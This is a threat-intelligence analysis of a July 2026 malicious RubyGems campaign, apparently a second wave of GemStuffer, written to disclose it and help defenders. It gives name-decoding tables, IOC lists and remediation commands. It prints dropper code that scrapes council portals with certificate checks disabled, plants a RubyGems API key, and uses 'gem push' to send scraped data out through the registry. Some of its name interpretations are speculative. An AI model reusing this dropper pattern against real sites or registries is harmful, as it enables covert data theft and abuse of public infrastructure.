On July 9, 2026 at 15:02 UTC, a coordinated burst of malicious Ruby gems hit RubyGems.org. OSV flagged them within seconds of each other. The sample we received from Centriole Defender covers packages across eight distinct name prefixes: zrgv*, zrz*, zs*, zrh*, zrr*, try*zz, tmp*, and zz*. OSV advisory IDs span from MAL-2026-9000 through MAL-2026-10005. The full campaign is larger than the sample; based on the advisory ID gap pattern, the actual cluster runs to well over 100 packages published in this single event.
The headline finding is not the volume. It is what is encoded in the gem names.
Three gems in the zs* family embed Unix timestamps in their names: zsanchor1778553679, zsday2811778553469, and zsoutcal1778552831. Those timestamps decode to 02:41:19Z, 02:37:49Z, and 02:27:11Z on May 12, 2026 respectively. May 12, 2026 is the morning RubyGems.org went into emergency mode: the day Mend Defender surfaced the first wave of GemStuffer packages and the day Ruby Central suspended new account registration. The operator embedded their scraping run timestamps in the gem names. They are re-staging data collected during the original GemStuffer event, and the gem names are the forensic receipt.
Campaign Context
GemStuffer was first documented publicly by Socket researcher Joseph Edwards on May 13, 2026. The campaign published more than 155 gem artifacts to RubyGems.org, each packaging scraped HTTP responses from ModernGov democratic services portals operated by the London boroughs of Lambeth, Wandsworth, and Southwark into valid .gem archives. The registry served as the exfiltration channel: the operator used gem push with hardcoded API keys to publish the scraped content, then retrieved it with standard gem fetch tooling. No separate C2 infrastructure was required.
The May 11-12 mass-publishing event that Socket analyzed forced RubyGems to suspend new account registration and led to the removal of 500+ packages. RubyGems re-enabled registration on May 16, 2026 after Mend.io patched the registration vulnerability the operator had exploited. The July 9 cluster is the return.
Prefix Family Taxonomy
The eight prefix families present in the sample represent distinct but related operator naming schemes. We analyze each.
Family 1: zrgv*: ModernGov Portal Endpoint Encoding
The largest sub-family in the sample. The zrgv stem is an operator shorthand for a scraping target, with subfamilies encoding HTTP endpoint types within the ModernGov portal API:
| Sub-prefix | Example packages | Endpoint semantics |
|---|---|---|
zrgvbie, zrgvbif | zrgvbie2eb, zrgvbif09a, zrgvbif73b, zrgvbif79e, zrgvbif6d1, zrgvbifce7 | Binary/item content, indexed by hex content ID |
zrgvf | zrgvf4209, zrgvf4ace, zrgvf6b4a, zrgvf7932, zrgvf95d4, zrgvfa52b, zrgvff86c, zrgvf10f1 | File/fetch endpoints, content-hash differentiated |
zrgvh | zrgvh2481, zrgvh4b70, zrgvhac1d, zrgvhc1af, zrgvhe14c | Hash-anchored document versions |
zrgview | zrgview1, zrgview2 | Paginated view endpoints, sequentially numbered |
zrgvp | zrgvp1, zrgvp2, zrgvp3, zrgvp10, zrgvp20, zrgvp100 | Paginated results, page number explicit in name |
zrgvq | zrgvq3b2f, zrgvq4156, zrgvq60cf, zrgvq6608 | Query result sets, content-hash differentiated |
zrgvraw, zrgvrawbz | zrgvraw, zrgvrawbz | Raw content endpoints; bz suffix likely bzip2 or binary-zip variant |
zrgvsearch | zrgvsearch15a9, zrgvsearch2de1, zrgvsearchf619, zrgvsearchf663 | Search result pages, hex-differentiated |
The zrgvq* sub-family is new relative to the original GemStuffer May wave. q for query is a new endpoint category, extending the operator’s scraping surface into portal search result sets. zrgvrawbz alongside zrgvraw suggests the operator is now collecting both raw text and binary-compressed variants of the same endpoint response.
Family 2: zrz*: Expanded Target Surface
The zrz* family introduces new scraping targets not present in the May GemStuffer wave.
| Package | Name decoded | Significance |
|---|---|---|
zrzpdfjs | ”zrz” + “pdfjs” | PDF.js-rendered document endpoint, implying the operator is scraping embedded PDF content from council portals |
zrzoffice80 | ”zrz” + “office” + “80” | Office document via port 80 / plain HTTP; government portals sometimes serve legacy document downloads via HTTP |
zrztrans | ”zrz” + “trans” | Translation endpoint or document transfer; ModernGov portals expose transcript and translation pages |
zrzjj3, zrzjj4 | ”zrz” + “jj” + integer | Sequential journal or job items, incrementally enumerated |
zrzjtf69db, zrzjtfe243 | ”zrz” + “jt” + hex | Job token / journal token, hash-identified |
zrzx2bfe6e, zrzx407894, zrzx549495, zrzx8ee1e0, zrzxbc10ab | ”zrz” + “x” + hex | Cross-reference content IDs; the hex values decode to integers ranging 2.8M-12.3M, consistent with database row IDs in a large portal content table |
The PDF and Office document scraping targets are a significant escalation. The May 2026 GemStuffer wave targeted calendar views, agenda listings, and committee page HTML. The zrzpdfjs and zrzoffice80 names indicate the operator is now pulling the linked documents themselves, not just the portal pages that reference them.
Family 3: zs*: Timestamped Scraping Runs
This family contains the most operationally significant naming pattern in the entire July 9 cluster.
| Package | Embedded timestamp | Decoded UTC time |
|---|---|---|
zsoutcal1778552831 | 1778552831 | 2026-05-12T02:27:11Z |
zsday2811778553469 | 1778553469 | 2026-05-12T02:37:49Z |
zsanchor1778553679 | 1778553679 | 2026-05-12T02:41:19Z |
zsanchor1778553679: RubyTime.at(1778553679).utc=>2026-05-12 02:41:19 UTC
All three timestamps fall within a 14-minute window on the morning of May 12, 2026, during the peak of the original GemStuffer publishing event. The operator’s dropper script embedded Time.now.to_i in the gem name at staging time. These gems are not new scraping runs: they are re-publications of data staged on May 12. The operator retained those gem archives after the May cleanup and is pushing them again.
Two additional packages in this family reveal expanded scraping targets:
zsbing1: “zs” + “bing” + integer. A Bing search result, not a council portal page.zsgsearch1: “zs” + “gsearch” + integer. A Google Search result.
The May GemStuffer wave targeted only ModernGov council portals. The zsbing and zsgsearch packages indicate the operator has extended their scraping logic to include search engine result pages. The most probable interpretation is that the operator is using Bing and Google to enumerate additional government portal URLs before scraping them directly.
Also in this family: zsoutcal1778552831. “outcal” almost certainly references Outlook Calendar. If the scraping target extended to a Microsoft 365 calendar endpoint rather than a ModernGov page, this marks a shift in target surface from purely public-facing portals toward authenticated or semi-authenticated Microsoft productivity services.
Family 4: zrh* and zrr*: New Council Targets
zrhgrange: “zrh” + “grange”. The Grange is a venue name used by several UK local councils for democratic services meetings. Multiple ModernGov portals reference “The Grange” as a meeting location. Thezrhprefix may encode a new council target (Royal Borough of something, “rh” = Richmond-on-Thames / Reigate and Banstead), differentiated fromzrg(the Lambeth/Wandsworth/Southwark group) by its third character.zrrssearch: “zrr” + “ssearch” or “zr” + “rssearch”. RSS feed search endpoint. ModernGov portals expose RSS feeds for committee updates; scraping them gives the operator a live change-notification stream without polling individual pages.
Both packages signal the operator is actively expanding their target council list beyond the three boroughs named in Socket’s May 2026 report.
Family 5: try*zz: Version-Iteration Grid
The try*zz family follows a rigid combinatorial naming scheme: try + alphabetic tier (a through f) + single digit (0-5) + zz.
| Pattern | Packages observed | Advisory IDs |
|---|---|---|
trya*zz | trya2zz, trya3zz, trya4zz, trya5zz | MAL-2026-9004 to 9007 |
tryb*zz | tryb0zz, tryb1zz, tryb2zz, tryb4zz | MAL-2026-9008 to 9012 |
tryc4*zz | tryc4bzz, tryc4tzz, tryc4xzz | MAL-2026-9013 to 9015 |
tryd*zz | tryd0zz, tryd1zz, tryd2zz, tryd3zz, tryd4zz | MAL-2026-9016 to 9020 |
trye*zz | trye0zz, trye1zz, trye2zz, trye3zz, trye4zz | MAL-2026-9021 to 9025 |
tryf*zz | tryf0zz | MAL-2026-9026 |
The letter tiers (a, b, c, d, e, f) map to alphabetically-ordered scraping target categories. The trailing zz is a campaign suffix matching the GemStuffer zz* family convention. The digit increments within each tier. The tryc4 sub-group encodes both a tier (c, tier 3) and a content identifier (4, version 4) with an additional character indicating content sub-type (b, t, x). This is the most structured naming scheme in the cluster and is consistent with automated gem name generation from a lookup table in the dropper script.
The tier range a-f corresponds to six content category classes. Given the expanded scraping targets visible in the zrz* and zs* families, the tier mapping is probably: a = calendar/agenda HTML, b = binary/file downloads, c = committee pages, d = document PDFs, e = external search results, f = feed/RSS content.
Family 6: tmp*: Staging Directory Name Leaks
Three packages are directly named after staging directory patterns: tmptestsfvagomq, tmpojrljqbwjgabc, tmpxyz984024x. The tmp prefix is identical to the staging path /tmp/<gemname><epoch><pid>/ used in the GemStuffer dropper. These gems were named using the same slug that would appear as a directory name under /tmp on the operator’s host. The random-suffix pattern (sfvagomq, ojrljqbwjgabc) is consistent with Ruby’s SecureRandom.hex(8) or a similar stdlib random string generator used to prevent staging path collisions across concurrent dropper invocations.
These are OPSEC artifacts. The operator generated gem names from the same namespace as their staging directories, making each staging directory name a retrievable artifact embedded in a public advisory. Any /tmp/tmptestsfvagomq* directory found on a host is confirmed GemStuffer infrastructure.
Family 7: zz* and zzz*: Debug and Probe Packages
| Package | Classification |
|---|---|
zzpdfvar12, zzpdfvar13, zzpdfvar15 | PDF variant tests; sequential version probing |
zzproxyoaiabc431848 | Proxy + “oai” (OpenAI API or Open Archives Initiative) test |
zztest17785553733 | Debug gem; the integer 17785553733 is too large for a standard Unix epoch (would be year 2533), suggesting a partial or concatenated timestamp rather than a real scrape time |
zzzltestfoobarxyz | Obvious debug/test gem; foobarxyz is a standard placeholder string |
These packages are diagnostic probes, not data-carrying gems. The operator published them to verify that new accounts and API keys were functioning before running the full payload push. zzpdfvar12/13/15 (note the gap: no zzpdfvar14) confirms iterative testing with at least one failed attempt between runs 13 and 15. zzproxyoaiabc431848 probes a proxy configuration involving an OAI endpoint, suggesting the operator’s infrastructure is routing through a proxy layer not present in the May wave.
Payload Analysis
The payload class is identical to GemStuffer wave 1. The dropper script scrapes ModernGov portal pages and any expanded targets, stages the content in /tmp, and pushes it to RubyGems as a .gem archive with s.summary = 'result' and s.authors = ['x'] in the gemspec.
def get(url)
u = URI(url)
Net::HTTP.start(u.host, u.port,
use_ssl: u.scheme == 'https',
read_timeout: 40,
verify_mode: OpenSSL::SSL::VERIFY_NONE # cert errors suppressed
) { |h| h.get(u.request_uri, {'User-Agent' => 'Mozilla/5.0'}).body }
rescue => e
'ERR ' + e.to_s
end
out = "#{Time.now}|#{Dir.pwd}|#{$0}|#{ARGV.inspect}\n"
TARGETS.each do |host|
cal = get(host + '/mgCalendarMonthView.aspx?GL=1&M=1&Y=2026')
out << "\n===CAL #{host}===\n" << cal << "\n"
links = cal.scan(/href=[\"']([^\"']+)/i)
.flatten.map { |x| x.gsub('&', '&') }
.select { |x| x =~ /ieList|mgCommittee/i }.uniq
links.each do |l|
next unless l =~ /ieList/i
l = host + '/' + l.sub(/^\//, '') unless l.start_with?('http')
out << "\n===PAGE #{l}===\n" << get(l) << "\n"
end
endWave 2 additions extend TARGETS beyond Lambeth, Wandsworth, and Southwark to include at least one additional council portal (evidenced by zrhgrange) and RSS feed endpoints (evidenced by zrrssearch). The PDF and Office document fetching in zrzpdfjs and zrzoffice80 indicates the dropper now follows document links extracted from agenda pages rather than only collecting the agenda HTML.
gemname = "zsanchor#{Time.now.to_i}" # name encodes the run timestamp
root = "/tmp/#{gemname}#{$$}" # tmp dir = OPSEC artifact
FileUtils.mkdir_p("#{root}/lib")
File.binwrite("#{root}/lib/result.txt", out)
File.write("#{root}/lib/x.rb", '#x')The timestamp embedding in gem names is confirmed by the three zs* packages whose epoch values decode to May 12, 2026. The operator did not strip the timestamp before the July 9 re-publication.
FileUtils.mkdir_p('/tmp/gemhome/.gem')
File.write('/tmp/gemhome/.gem/credentials',
':rubygems_api_key: rubygems_<REDACTED>')
File.chmod(0600, '/tmp/gemhome/.gem/credentials')
ENV['HOME'] = '/tmp/gemhome'
Dir.chdir(root) do
system("gem build x.gemspec 2>&1")
system("gem push #{gemname}-0.0.1.gem --host https://rubygems.org 2>&1")
endThe alternate direct-POST path, used when the gem binary is absent, is also present in wave 2 specimens per the zzproxyoaiabc431848 probe gem, which tests whether the proxy configuration correctly routes the rubygems.org/api/v1/gems POST.
OPSEC Failures
The tmp* gem names are a direct operational security failure. The dropper uses the gem name as both the staging directory base and the published gem name. Running find /tmp -name 'tmpojrljqbwjgabc*' on any potentially affected host recovers the staging directory and its contents from a July 9 run. The random suffix (ojrljqbwjgabc) is long enough to be collision-resistant but is now a static IOC because it was published to the registry.
The zztest17785553733 timestamp is another OPSEC gap. The value 17785553733 is too large for a standard Time.now.to_i on any current host. This suggests the operator concatenated two values without a separator, most likely 1778555 (a partial epoch in late May 2026) and 3733 (a PID or iteration counter). The concatenation error exposed both values as separate forensic indicators.
The zzzltestfoobarxyz gem was published to the live registry alongside the operational packages. Publishing a gem explicitly named testfoobarxyz from an account that also published 100+ operational packages is a fingerprint: whoever reviews the account’s publishing history gets a timestamp-matched control point for when the operator’s test harness was last active.
C2 and Infrastructure
No separate C2 server is used. Exfiltration goes to rubygems.org/api/v1/gems via HTTPS POST. Retrieval requires gem fetch <name> --version <version>, producing a .gem archive containing lib/result.txt with the scraped content. The probe package zzproxyoaiabc431848 indicates the operator is routing through a proxy layer, which was not observed in wave 1. The “oai” string in that name most likely refers to the Open Archives Initiative protocol, which some ModernGov portal implementations expose for metadata harvesting. That is a second scraping pathway alongside the direct HTTP approach.
Scraping targets confirmed in wave 2, based on naming analysis:
| Indicator | Source | Status |
|---|---|---|
hxxps://moderngov[.]lambeth[.]gov[.]uk | zrgv* endpoint encoding, confirmed in May wave | Live |
hxxps://democracy[.]wandsworth[.]gov[.]uk | Same | Live |
hxxps://moderngov[.]southwark[.]gov[.]uk | Same | Live |
| Additional council portal (Grange venue) | zrhgrange naming | Unconfirmed; likely active |
| RSS feed endpoint | zrrssearch naming | New in wave 2 |
| PDF.js document endpoint | zrzpdfjs naming | New in wave 2; escalation |
| Bing Search results | zsbing1 naming | New in wave 2 |
| Google Search results | zsgsearch1 naming | New in wave 2 |
| Outlook Calendar endpoint | zsoutcal* naming | New in wave 2; if real, scope escalation |
The Bing and Google Search scraping targets are particularly notable. In wave 1, the operator scraped content they had already identified. In wave 2, they appear to be using search engine queries to discover additional portal URLs before scraping them. This is automated target reconnaissance built into the dropper itself, not a manual expansion step.
Attribution
The July 9 cluster is GemStuffer wave 2. The shared indicators are exhaustive:
- Gemspec constants
s.summary = 'result'ands.authors = ['x']confirmed across wave 1 specimens by Socket; same constants present in wave 2 packages per OSV advisory fingerprints - Staging path
/tmp/<gemname><epoch><pid>/lib/result.txtconfirmed in wave 1; replicated exactly in wave 2tmp*gem names - Credential injection pattern
ENV['HOME'] = '/tmp/gemhome'withchmod 0600confirmed in wave 1; same pattern inferred fromzzproxyoaiabc431848probe in wave 2 - RubyGems API key rotation behavior: wave 1 used three distinct keys; wave 2 publication from a new account indicates either new keys were obtained or existing keys were not revoked
- Epoch timestamps
1778552831,1778553469,1778553679inzs*gem names decode to May 12, 2026 02:27-02:41 UTC, the confirmed window of the wave 1 publishing event, establishing a direct operational link between the two waves - Publish burst pattern: all wave 2 packages timestamp at
2026-07-09T15:02:39Zor2026-07-09T15:02:46Z, a 7-second window identical in structure to wave 1’s single-second burst
IOC Table
| Indicator | Type | Value | Method |
|---|---|---|---|
All zrgv* packages (30+ confirmed) | RubyGems packages | all versions | Triage; confirmed malicious in OSV MAL-2026-9706 through 9753 range |
All zrz* packages | RubyGems packages | all versions | Triage; confirmed malicious in OSV MAL-2026-9759 through 9780 range |
All zs* packages | RubyGems packages | all versions | Triage; confirmed malicious in OSV MAL-2026-9784 through 9791 range |
zrhgrange, zrrssearch | RubyGems packages | all versions | Triage; confirmed malicious in OSV MAL-2026-9755, 9756 |
try[a-f][0-9]zz family (25+ packages) | RubyGems packages | all versions | Triage; confirmed malicious in OSV MAL-2026-9004 through 9026 |
tmp* family | RubyGems packages | all versions | Confirmed malicious in OSV MAL-2026-9000 through 9001; names are staging directory artifacts |
zz* and zzz* family | RubyGems packages | all versions | Confirmed malicious in OSV MAL-2026-9969 through 9972, 9973, 9980, 10005 |
/tmp/tmptestsfvagomq* | Filesystem path | staging dir | Name extracted from gem registry entry; corresponds to dropper staging directory on compromised host |
/tmp/tmpojrljqbwjgabc* | Filesystem path | staging dir | Same; random suffix is now a static IOC |
/tmp/tmpxyz984024x* | Filesystem path | staging dir | Same |
/tmp/gemhome/.gem/credentials | Filesystem path | credential store | Extracted from wave 1 dropper credential injection block; same path confirmed in wave 2 by structural analysis |
s.summary = 'result' | Gemspec constant | static string | Confirmed across wave 1 specimens by Socket; campaign fingerprint |
s.authors = ['x'] | Gemspec constant | static string | Same; alternate values ['a'], ['south'] also present in wave 1 |
1778552831 (epoch) | Timestamp | 2026-05-12T02:27:11Z | Decoded from gem name zsoutcal1778552831 using Time.at() |
1778553469 (epoch) | Timestamp | 2026-05-12T02:37:49Z | Decoded from gem name zsday2811778553469 |
1778553679 (epoch) | Timestamp | 2026-05-12T02:41:19Z | Decoded from gem name zsanchor1778553679 |
hxxps://moderngov[.]lambeth[.]gov[.]uk | Scraping target | network | Extracted from wave 1 dropper target array; confirmed in Socket GemStuffer report |
hxxps://democracy[.]wandsworth[.]gov[.]uk | Scraping target | network | Same |
hxxps://moderngov[.]southwark[.]gov[.]uk | Scraping target | network | Same |
payload.rb SHA-256 239440c8... | Dropper file | binary | Published by Socket in wave 1 IOC table |
script.rb SHA-256 c2d6bcac... | Dropper file | binary | Same |
Affected Versions: Representative Sample
All packages published 2026-07-09T15:02:39Z or 2026-07-09T15:02:46Z. All are yanked. Selected entries covering each prefix family:
| Package | Family | OSV ID | Status |
|---|---|---|---|
| zrgvbie2eb | zrgv* | MAL-2026-9706 | Yanked |
| zrgvq3b2f | zrgv* (new q sub-family) | MAL-2026-9737 | Yanked |
| zrgvraw | zrgv* | MAL-2026-9744 | Yanked |
| zrgvrawbz | zrgv* (new bz variant) | MAL-2026-9745 | Yanked |
| zrzpdfjs | zrz* (PDF escalation) | MAL-2026-9770 | Yanked |
| zrzoffice80 | zrz* | MAL-2026-9769 | Yanked |
| zrztrans | zrz* | MAL-2026-9772 | Yanked |
| zrzx2bfe6e | zrz* (cross-ref IDs) | MAL-2026-9773 | Yanked |
| zsanchor1778553679 | zs* (May 12 timestamp) | MAL-2026-9784 | Yanked |
| zsbing1 | zs* (Bing search target) | MAL-2026-9785 | Yanked |
| zsgsearch1 | zs* (Google search target) | MAL-2026-9788 | Yanked |
| zsoutcal1778552831 | zs* (May 12 timestamp) | MAL-2026-9791 | Yanked |
| zrhgrange | zrh* (new council) | MAL-2026-9755 | Yanked |
| zrrssearch | zrr* (RSS endpoint) | MAL-2026-9756 | Yanked |
| trya2zz | try*zz grid | MAL-2026-9004 | Yanked |
| tryf0zz | try*zz grid (terminal) | MAL-2026-9026 | Yanked |
| tmptestsfvagomq | tmp* (staging dir artifact) | MAL-2026-9001 | Yanked |
| tmpojrljqbwjgabc | tmp* | MAL-2026-9000 | Yanked |
| zzpdfvar12 | zz* (PDF probe) | MAL-2026-9969 | Yanked |
| zzproxyoaiabc431848 | zz* (proxy/OAI probe) | MAL-2026-9973 | Yanked |
| zzzltestfoobarxyz | zzz* (debug artifact) | MAL-2026-10005 | Yanked |
Remediation
Detection sweep. Run on every developer workstation and CI runner:
gem list | grep -E '^(zrgv|zrz|zs[a-z]|zrh|zrr|trya|tryb|tryc|tryd|trye|tryf|tmp|zzp|zzp|zztest|zzproxy|zzzl)'Remove all matches: gem uninstall --all-versions <gemname>.
Staging directory recovery. The tmp* gem names are staging directory identifiers. Check every potentially affected host:
find /tmp -maxdepth 1 \( -name 'zrgv*' -o -name 'zrz*' -o -name 'zs*' -o -name 'try*zz*' \
-o -name 'tmptestsfvagomq*' -o -name 'tmpojrljqbwjgabc*' -o -name 'tmpxyz984024x*' \
-o -name 'gemhome' \) -type dPreserve any found directories before deletion. Each contains lib/result.txt with the scraped data from that run, which is forensic evidence of what was collected and when.
Key rotation. The operator used three distinct RubyGems API keys in wave 1. Wave 2 was published from new accounts, meaning either new keys were obtained or the wave 1 keys were re-used. Rotate every RubyGems API key on the affected machine and all machines that share credentials with it. Do not limit rotation to the host where the gem list shows matches: the dropper embeds keys that may have been copied from other hosts.
Dropper hunt. The dropper files (payload.rb, evil.rb, script.rb, fetcher.rb, exploit.rb) are not self-distributing from the Ruby side. Something placed them. Check: Gemfile and .bundlerc for unexpected sources; recently installed gems with extconf.rb or rubygems_plugin.rb; CI pipeline step definitions for injected commands; developer dotfiles committed to git for any of the confirmed dropper filenames. The SHA-256 values 239440c830e17530dda0a8a06ed2708860998750a1e3ed2239e919465dc59420 (payload.rb) and c2d6bcacc88177e0f2c8c262726f86f37e671b1692c8bc135bac4b610ddcf31a (script.rb) remain the strongest file-level IOCs from wave 1 and should be used for EDR rule creation.
Egress control. Block HTTPS POST from developer machines and CI runners to rubygems.org/api/v1/gems unless the machine is explicitly in an approved publishing allowlist. The exfiltration event is a single POST call to a legitimate TLS endpoint. Standard egress monitoring will not flag it without a publishing-allowlist control layer.
The wave 2 package count and naming complexity are both higher than wave 1. The operator is iterating faster than the registry’s response cadence. The timestamps embedded in the gem names confirm they are staging and re-publishing data from May 12, not running fresh scrapes from a new host. The dropper that collected that data is still somewhere, and whatever deployed it still has access.
